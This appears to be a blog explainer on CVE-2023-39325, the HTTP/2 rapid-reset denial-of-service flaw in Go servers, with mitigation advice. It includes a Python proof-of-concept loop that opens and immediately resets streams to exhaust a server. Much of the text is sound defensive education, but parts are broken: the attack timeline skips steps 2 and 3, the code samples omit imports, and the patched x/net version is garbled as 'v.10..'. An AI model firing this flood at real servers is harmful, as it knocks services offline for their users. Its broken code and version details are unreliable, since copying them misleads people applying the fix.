HTTP/2 made the web a lot faster and more efficient—but like anything, it’s not perfect. Sometimes, clever attackers find ways to twist those improvements against us. CVE-2023-39325 is just such a story, showing how a small behavior in HTTP/2 could open the door to big trouble for your servers. If you’re running Go web servers, this is a must-read.

Let's break down exactly what happened, why it was dangerous, and how you can keep your servers safe.

Background: What is CVE-2023-39325?

This vulnerability affects servers that speak HTTP/2 using Go's popular net/http package or the tighter golang.org/x/net/http2 package. Here’s the gist:

- The Exploit: A client can rapidly send new HTTP/2 requests and IMMEDIATELY reset them (using RST_STREAM Frames), causing the server to spin up handler goroutines to process each request—but never stick around to see the result!
- The Problem: Even though Go’s HTTP/2 servers are supposed to limit maximum concurrent request handling (using MaxConcurrentStreams, defaulting to 250), the attacker can bypass this limit by resetting a request mid-processing and immediately starting another. Before the first handler finishes, the server has started working on the next, and so on. This can blow up server resource usage—fast!
- The Fix: Go now makes sure the number of simultaneously executing handler goroutines never exceeds MaxConcurrentStreams. If the limit is reached, new requests wait in a queue. If the queue grows too large, the server closes the connection to the client.

Here’s a simplified timeline

1. The attacker opens an HTTP/2 connection to your server.

Resets the stream almost immediately, even before your handler gets to finish.

4. Before server can finish handling the previous requests, the attacker creates new ones, repeating step 3.
5. Meanwhile, your server keeps spinning up new goroutines to handle each incoming request, never seeing a slowdown because there’s always room for one more, since resets allow new requests in.

Given enough cycles, your server can run out of memory or CPU—leading to a denial of service.


## A Dive Into the Go HTTP/2 Server Code

Here’s a tiny code demo to help picture what’s going on.

Before the Fix

package main

import (
    "net/http"
)

func main() {
    http.ListenAndServeTLS(":443", "cert.pem", "key.pem", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // Simulate some work per request
        time.Sleep(100 * time.Millisecond)
        w.Write([]byte("hello"))
    }))
}

In this setup, an attacker keeps sending requests and instantly sends "RESET_STREAM" frames. The server hastily spins up new goroutine handlers, which all start processing — but never finish well, since the attacker doesn't care about the response.

After the Fix (Go 1.21.4, 1.20.11 & http2 update)

Now, as soon as the number of handler goroutines reaches the concurrency limit (MaxConcurrentStreams), new requests WAIT until a spot opens up. If too many are queued, the connection is closed. Here’s how you can configure:

import (
    "golang.org/x/net/http2"
)

func main() {
    srv := &http.Server{Addr: ":443", Handler: myHandler}
    http2Srv := &http2.Server{
        // Lower this value for more aggressive limiting if you prefer
        MaxConcurrentStreams: 100,
    }
    http2.ConfigureServer(srv, http2Srv)
    srv.ListenAndServeTLS("cert.pem", "key.pem")
}

Note: You must update to Go 1.21.4 or 1.20.11 (or higher), or use the latest golang.org/x/net/http2.

Proof-of-Concept: Exploit in Action

Here’s a POC that demonstrates how a malicious client could try to hit your server with this exploit (for educational, testing, or demo purposes):

import h2.connection
import socket
import time

conn = h2.connection.H2Connection()
s = socket.create_connection(('your.server', 443))
s = ssl.wrap_socket(s)
conn.initiate_connection()
s.sendall(conn.data_to_send())

stream_id = 1

while True:
    # Create a new stream and send a request
    headers = [
        (':method', 'GET'),
        (':authority', 'your.server'),
        (':scheme', 'https'),
        (':path', '/'),
    ]
    conn.send_headers(stream_id, headers, end_stream=True)
    s.sendall(conn.data_to_send())
    # Immediately reset the stream
    conn.reset_stream(stream_id)
    s.sendall(conn.data_to_send())
    stream_id += 2   # In HTTP/2, client stream IDs are odd
    time.sleep(.01)  # Or go even faster

You could rapidly spin up hundreds or thousands of in-flight, soon-to-be-reset requests.

How to Stay Safe (Mitigation)

- Update Go — The fix is in Go 1.21.4, Go 1.20.11, and in golang.org/x/net/http2 v.10..
- Set Your Concurrency Wisely — Adjust MaxConcurrentStreams to the right value for your workload.

Read the advisories and upgrade instructions:

- Go Security Advisory
- GitHub CVE entry

Final Thoughts

CVE-2023-39325 isn’t a classic “remote code execution” headline-grabber, but it does show how powerful small protocol behaviors can be. If you’re a Go HTTP/2 server admin, update your software! You won’t notice the fix unless someone’s attacking, but if they ever do, you’ll be ready.

If you use another framework or language for HTTP/2, keep an eye on similar issues—they may arise elsewhere too.

References

- CVE-2023-39325 on Mitre
- Go Security Advisory
- HTTP/2 official RFC
- golang.org/x/net/http2 documentation


*Stay secure and keep your Go servers healthy!* 🚀

Timeline

Published on: 10/11/2023 22:15:09 UTC
Last modified on: 11/10/2023 18:15:08 UTC